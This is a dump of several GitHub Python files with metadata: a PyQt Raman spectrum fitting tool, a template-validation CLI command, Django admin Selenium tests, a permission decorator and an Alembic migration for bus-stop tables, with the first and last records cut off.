\"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(D_param[1],4))+\"\"\"\n                    \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(D_param[2],4))+\"\"\"  \n                Int(D)/Int(G) = \"\"\"+str(round((D_param[0]/G_param[0]),4))+\"\"\"\n                \"\"\"\n                #\"\"\"\n                #Particle Size:\n                #\"\"\"     \n            )\n        elif button == FILM_BUTTON:\n            self.fitting_params=QtWidgets.QLabel(\n            \"\"\"Fitting Parameters:\n            Diamond Peak:\n                \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(Diam_param[0],4))+\"\"\"\n                \"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(Diam_param[1],4))+\"\"\"\n                \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(Diam_param[2],4))+\"\"\"\n            G Peak:\n                \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(G_param[0],4))+\"\"\"\n                \"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(G_param[1],4))+\"\"\"\n                \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(G_param[2],4))+\"\"\"\n            D Peak:\n                \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(D_param[0],4))+\"\"\"\n                \"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(D_param[1],4))+\"\"\"\n                \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(D_param[2],4))+\"\"\"  \nInt(D)/Int(G) = \"\"\"+str(round((D_param[0]/G_param[0]),4))+\"\"\"\nQuality = \"\"\"+'.'+str(round(100*(Diam_param[0]/(Diam_param[0]+(G_param[0]+D_param[0])/233))))+\"\"\"\n\"\"\"u'\\u03c3'\"\"\"(GPa) = \"\"\"\" \"\"\"+str(round((-1.08)*(Diam_param[2]-1332),4))+\"\"\"\n            \"\"\")\n        else:\n             raise ValueError(\"Bad button name\")\n\n        pal = self.fitting_params.palette()\n        pal.setColor(self.fitting_params.backgroundRole(), Qt.white)\n        self.fitting_params.setPalette(pal)\n        self.fitting_params.setAutoFillBackground(True)\n        self.fitting_params.setMinimumSize(340,500)\n        self.layout.addWidget(self.fitting_params,2,2)\n\n    def plotSpect(self,x,y, button):\n        \"\"\"\n        Normalize\n        \"\"\"\n        y_norm=[]\n        for i in y:\n            y_norm.append((i-np.min(y))/(np.max(y)-np.min(y)))\n\n        self.spect_plot=pg.plot(x,y_norm,pen='k')\n        self.spect_plot.setMenuEnabled(False)\n        self.spect_plot.setMinimumSize(220,500)\n        self.spect_plot.setLabel('left','Inorm[arb]')\n        self.spect_plot.setLabel('bottom',u'\\u03c9'+'[cm-1]')\n        self.spect_plot.win.hide()\n\n        self.fitToPlot(x,y_norm, button)\n\n        self.TabWidget=QtWidgets.QTabWidget()\n        self.TabWidget.addTab(self.fit_plot,\"Fit\")\n        self.TabWidget.addTab(self.overlay_plot,\"Overlay\")\n        #self.TabWidget.addTab(self.diff_plot,\"Diffs\") commented out\n        self.TabWidget.setMinimumSize(220,500)\n\n        self.layout.addWidget(self.TabWidget,2,1)\n        self.layout.addWidget(self.spect_plot,2,0)\n\n\ndef main():\n    nargs = len(sys.argv)\n    if nargs > 1:\n        mode = sys.argv[1]\n    else:\n        mode = 'local'\n    if mode not in ['nanohub','local']:\n        mode = 'local'\n\n    REPO_DIR = \".\"\n    if mode == 'local':\n        REPO_DIR = subprocess.Popen(['git', 'rev-parse', '--show-toplevel'], stdout=subprocess.PIPE).communicate()[0].rstrip().decode('utf-8')\n    else:\n        if os.environ.get(\"RUN_LOCATION\"):\n            REPO_DIR = os.environ.get(\"RUN_LOCATION\")\n    print()\n    app=QtWidgets.QApplication([])\n    raman=Main(mode=mode, repo_dir=REPO_DIR)\n    #raman.show()\n    sys.exit(app.exec_())\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "nanoMFG/nanodiam", "sub_path": "src/ndraman/ndraman.py", "file_name": "ndraman.py", "file_ext": "py", "file_size_in_byte": 16461, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.use", "line_number": 3, "usage_type": "call"}, {"api_name": "pyqtgraph.setConfigOption", "line_number": 36, "usage_type": "call"}, {"api_name": "pyqtgraph.setConfigOption", "line_number": 37, "usage_type": "call"}, {"api_name": "pyqtgraph.mkPen", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 40, "usage_type": "name"}, {"api_name": "PyQt5.QtCore", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtGui", "line_number": 42, "usage_type": "name"}, {"api_name": "util.icons.Icon", "line_number": 61, "usage_type": "call"}, {"api_name": "util.icons.Icon", "line_number": 73, "usage_type": "call"}, {"api_name": "util.icons.Icon", "line_number": 84, "usage_type": "call"}, {"api_name": "util.icons.Icon", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 129, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 129, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 138, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 138, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 139, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 139, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QStackedWidget", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 141, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 145, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 151, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 151, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 158, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 165, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 165, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QProgressBar", "line_number": 171, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 171, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 175, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 175, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 176, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 176, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFileDialog.getOpenFileName", "line_number": 184, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFileDialog", "line_number": 184, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 184, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 191, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 198, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 198, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 213, "usage_type": "call"}, {"api_name": "pandas.read_table", "line_number": 215, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 220, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 230, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 230, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 244, "usage_type": "call"}, {"api_name": "os.path", "line_number": 244, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 245, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 253, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 263, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 267, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 267, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 270, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 270, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 275, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 275, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 278, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 278, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 279, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 279, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 307, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 310, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 314, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 319, "usage_type": "call"}, {"api_name": "pyqtgraph.plot", "line_number": 327, "usage_type": "call"}, {"api_name": "pyqtgraph.plot", "line_number": 334, "usage_type": "call"}, {"api_name": "pyqtgraph.exporters.ImageExporter", "line_number": 342, "usage_type": "call"}, {"api_name": "pyqtgraph.exporters", "line_number": 342, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 346, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 346, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 367, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 367, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 389, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 389, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 401, "usage_type": "call"}, {"api_name": "pyqtgraph.plot", "line_number": 403, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 412, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 412, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 423, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 425, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 433, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 433, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 435, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 435, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 436, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 436, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 438, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 438, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 441, "usage_type": "call"}]}
{"seq_id": "28933488390", "text": "import logging\nimport os\nfrom pathlib import Path\n\nimport typer\n\nfrom ..TemplateLoader import TemplateLoader\nfrom ..TemplateOptions import TemplateOptions\n\n\ndef validate(\n    template_path: Path = typer.Argument(\n        ...,\n        help=(\"Local folder containing the Curvenote compatible template to validate\"),\n        exists=True,\n        dir_okay=True,\n        file_okay=False,\n        resolve_path=True,\n    )\n):\n    try:\n        TemplateLoader.validate(str(template_path))\n    except ValueError as err:\n        raise typer.Exit(code=1)\n    raise typer.Exit(code=0)\n", "repo_name": "curvenote/jtex", "sub_path": "jtex/cli/validate.py", "file_name": "validate.py", "file_ext": "py", "file_size_in_byte": 572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "name"}, {"api_name": "typer.Argument", "line_number": 12, "usage_type": "call"}, {"api_name": "TemplateLoader.TemplateLoader.validate", "line_number": 22, "usage_type": "call"}, {"api_name": "TemplateLoader.TemplateLoader", "line_number": 22, "usage_type": "name"}, {"api_name": "typer.Exit", "line_number": 24, "usage_type": "call"}, {"api_name": "typer.Exit", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "73922312868", "text": "from __future__ import unicode_literals\n\nfrom contextlib import contextmanager\nimport time\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.admin import site\nfrom django.contrib.admin.tests import AdminSeleniumWebDriverTestCase\nfrom django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse\nfrom django.test import SimpleTestCase\n\nfrom admin_enhancer import widgets\n\nfrom .models import Book\n\n\nclass InteractionTest(AdminSeleniumWebDriverTestCase):\n    available_apps = settings.INSTALLED_APPS\n\n    def setUp(self):\n        super(InteractionTest, self).setUp()\n        User.objects.create_superuser('super', '', 'secret')\n\n    def wait_for_popup(self, name):\n        def popup_is_loaded(driver):\n            return driver.current_window_handle == name\n        self.wait_until(popup_is_loaded)\n\n    @contextmanager\n    def handle_popup(self, trigger):\n        initial_window_handle = self.selenium.current_window_handle\n        window_handles = set(self.selenium.window_handles)\n        try:\n            trigger()\n            self.wait_until(lambda driver: set(driver.window_handles) != window_handles)\n            new_window_handle = (set(self.selenium.window_handles) - window_handles).pop()\n            self.selenium.switch_to.window(new_window_handle)\n            yield new_window_handle\n        finally:\n            time.sleep(1)\n            self.selenium.switch_to.window(initial_window_handle)\n\n    def test_widget_interactions(self):\n        self.admin_login('super', 'secret')\n        driver = self.selenium\n        driver.set_page_load_timeout(10)\n        driver.get(\"%s%s\" % (self.live_server_url, reverse('admin:tests_book_add')))\n\n        author_select = driver.find_element_by_id('id_author')\n        edit_author_btn = driver.find_element_by_id('edit_id_author')\n        add_author_btn = driver.find_element_by_id('add_id_author')\n        delete_author_btn = driver.find_element_by_id('delete_id_author')\n\n        self.assertIsNone(edit_author_btn.get_attribute('href'))\n        self.assertIsNone(delete_author_btn.get_attribute('href'))\n\n        def author_options():\n            author_options = author_select.find_elements_by_tag_name('option')\n            options_label = []\n            selected_option_label = None\n            for option in author_options:\n                label = option.get_attribute('innerHTML')\n                options_label.append(label)\n                if option.get_attribute('selected'):\n                    selected_option_label = label\n            return selected_option_label, options_label\n\n        def interact(button, name):\n            with self.handle_popup(button.click):\n                driver.implicitly_wait(1)\n                driver.find_element_by_id('id_name').clear()\n                driver.find_element_by_id('id_name').send_keys(name)\n                driver.find_element_by_name('_save').click()\n            selected_option_label, options_label = author_options()\n            self.assertEqual(['---------', name], options_label)\n            self.assertEqual(name, selected_option_label)\n\n        interact(add_author_btn, 'David Abraham')\n\n        self.assertIsNotNone(edit_author_btn.get_attribute('href'))\n        self.assertIsNotNone(delete_author_btn.get_attribute('href'))\n\n        interact(edit_author_btn, 'David Abram')\n\n        with self.handle_popup(delete_author_btn.click):\n            driver.find_element_by_css_selector('input[type=\"submit\"]').click()\n\n        selected_option_label, options_label = author_options()\n        self.assertEqual(['---------'], options_label)\n        self.assertEqual('---------', selected_option_label)\n\n        self.assertIsNone(edit_author_btn.get_attribute('href'))\n        self.assertIsNone(delete_author_btn.get_attribute('href'))\n\n\nclass RelatedFieldWidgetWrapperTests(SimpleTestCase):\n    def test_select_multiple_widget_cant_change_delete_related(self):\n        rel = Book._meta.get_field('themes').rel\n        widget = forms.SelectMultiple()\n        wrapper = widgets.RelatedFieldWidgetWrapper(\n            widget, rel, site,\n            can_add_related=True,\n            can_change_related=True,\n            can_delete_related=True,\n        )\n        self.assertTrue(wrapper.can_add_related)\n        self.assertFalse(wrapper.can_change_related)\n        self.assertFalse(wrapper.can_delete_related)\n\n    def test_on_delete_cascade_rel_cant_delete_related(self):\n        rel = Book._meta.get_field('collection').rel\n        widget = forms.Select()\n        wrapper = widgets.RelatedFieldWidgetWrapper(\n            widget, rel, site,\n            can_add_related=True,\n            can_change_related=True,\n            can_delete_related=True,\n        )\n        self.assertTrue(wrapper.can_add_related)\n        self.assertTrue(wrapper.can_change_related)\n        self.assertFalse(wrapper.can_delete_related)\n", "repo_name": "charettes/django-admin-enhancer", "sub_path": "tests/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 4871, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 59, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.contrib.admin.tests.AdminSeleniumWebDriverTestCase", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.settings.INSTALLED_APPS", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_superuser", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 24, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 31, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 49, "usage_type": "call"}, {"api_name": "django.test.SimpleTestCase", "line_number": 98, "usage_type": "name"}, {"api_name": "models.Book._meta.get_field", "line_number": 100, "usage_type": "call"}, {"api_name": "models.Book._meta", "line_number": 100, "usage_type": "attribute"}, {"api_name": "models.Book", "line_number": 100, "usage_type": "name"}, {"api_name": "django.forms.SelectMultiple", "line_number": 101, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 101, "usage_type": "name"}, {"api_name": "admin_enhancer.widgets.RelatedFieldWidgetWrapper", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 103, "usage_type": "argument"}, {"api_name": "admin_enhancer.widgets", "line_number": 102, "usage_type": "name"}, {"api_name": "models.Book._meta.get_field", "line_number": 113, "usage_type": "call"}, {"api_name": "models.Book._meta", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.Book", "line_number": 113, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 114, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 114, "usage_type": "name"}, {"api_name": "admin_enhancer.widgets.RelatedFieldWidgetWrapper", "line_number": 115, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 116, "usage_type": "argument"}, {"api_name": "admin_enhancer.widgets", "line_number": 115, "usage_type": "name"}]}
{"seq_id": "15320915618", "text": "from functools import wraps\nfrom django.http import HttpResponseRedirect\nimport functools\nfrom django.core.exceptions import PermissionDenied\n\n\ndef view_authorized(permissions=None):\n\n    def has_permissions(request):\n        perms = []\n        if permissions is not None:\n            perms = permissions\n        exist = {x: False for x in perms}\n        for rp in request.user.profile.role.privileges.filter(privilege__in=perms):\n            exist[rp.privilege] = True\n        return functools.reduce(lambda a, b: a and b, exist.values())\n\n    def wrapper(fun):\n\n        def wrapped(request, *args, **kwargs):\n            if has_permissions(request):\n                return fun(request, *args, **kwargs)\n            else:\n                raise PermissionDenied(f\"{request.method} {request.path}\")\n        return wrapped\n    return wrapper\n", "repo_name": "ezrankayamba/twiga_pmt", "sub_path": "users/decorators.py", "file_name": "decorators.py", "file_ext": "py", "file_size_in_byte": 840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "functools.reduce", "line_number": 16, "usage_type": "call"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "2673754300", "text": "\"\"\"initial_empty\n\nRevision ID: fde77a68e3dd\nRevises: \nCreate Date: 2022-12-05 17:14:59.972979\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fde77a68e3dd'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('bus_stops',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('stop_id', sa.String(length=10), nullable=False),\n    sa.Column('number', sa.String(length=10), nullable=False),\n    sa.Column('name', sa.String(length=60), nullable=False),\n    sa.PrimaryKeyConstraint('id'),\n    sa.UniqueConstraint('stop_id', 'number', name='unique_stop_id_number')\n    )\n    op.create_table('lines',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('line_number', sa.String(length=10), nullable=False),\n    sa.PrimaryKeyConstraint('id'),\n    sa.UniqueConstraint('line_number')\n    )\n    op.create_table('bus_stop_data',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('bus_stop_id', sa.Integer(), nullable=False),\n    sa.Column('street_id', sa.String(length=20), nullable=True),\n    sa.Column('geo_width', sa.String(length=20), nullable=False),\n    sa.Column('geo_length', sa.String(length=20), nullable=False),\n    sa.Column('direction', sa.String(length=60), nullable=True),\n    sa.Column('valid_from', sa.DateTime(), nullable=False),\n    sa.ForeignKeyConstraint(['bus_stop_id'], ['bus_stops.id'], ondelete='CASCADE'),\n    sa.PrimaryKeyConstraint('id'),\n    sa.UniqueConstraint('bus_stop_id', 'valid_from', name='unique_stop_id_date')\n    )\n    op.create_table('bus_stop_lines',\n    sa.Column('bus_stop_id', sa.Integer(), nullable=False),\n    sa.Column('line_id', sa.Integer(), nullable=False),\n    sa.ForeignKeyConstraint(['bus_stop_id'], ['bus_stops.id'], ondelete='CASCADE'),\n    sa.ForeignKeyConstraint(['line_id'], ['lines.id'], ondelete='CASCADE'),\n    sa.PrimaryKeyConstraint('bus_stop_id', 'line_id')\n    )\n    op.create_table('tables',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('brigade', sa.String(length=10), nullable=False),\n    sa.Column('direction', sa.String(length=50), nullable=False),\n    sa.Column('route', sa.String(length=20), nullable=False),\n    sa.Column('time', sa.Time(), nullable=False),\n    sa.Column('bus_stop', sa.Integer(), nullable=False),\n    sa.Column('line', sa.Integer(), nullable=False),\n    sa.ForeignKeyConstraint(['bus_stop'], ['bus_stops.id'], ondelete='CASCADE'),\n    sa.ForeignKeyConstraint(['line'], ['lines.id'], ondelete='CASCADE'),\n    sa.PrimaryKeyConstraint('id'),\n    sa.UniqueConstraint('brigade', 'bus_stop', 'line', 'time', name='one_brigade_of_line_on_stop_at_time')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('tables')\n    op.drop_table('bus_stop_lines')\n    op.drop_table('bus_stop_data')\n    op.drop_table('lines')\n    op.drop_table('bus_stops')\n    # ### end Alembic commands ###\n", "repo_name": "czech-rep/warsaw-connector", "sub_path": "alembic/versions/2022_12_05_1714-fde77a68e3dd_initial_empty.py", "file_name": "2022_12_05_1714-fde77a68e3dd_initial_empty.py", "file_ext": "py", "file_size_in_byte": 3088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 45, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 47, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 47, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 52, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 54, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 54, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.Time", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 61, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 61, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 63, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 64, "usage_type": "call"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 65, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 72, "usage_type": "call"}, {"api_name": "alembic.op", 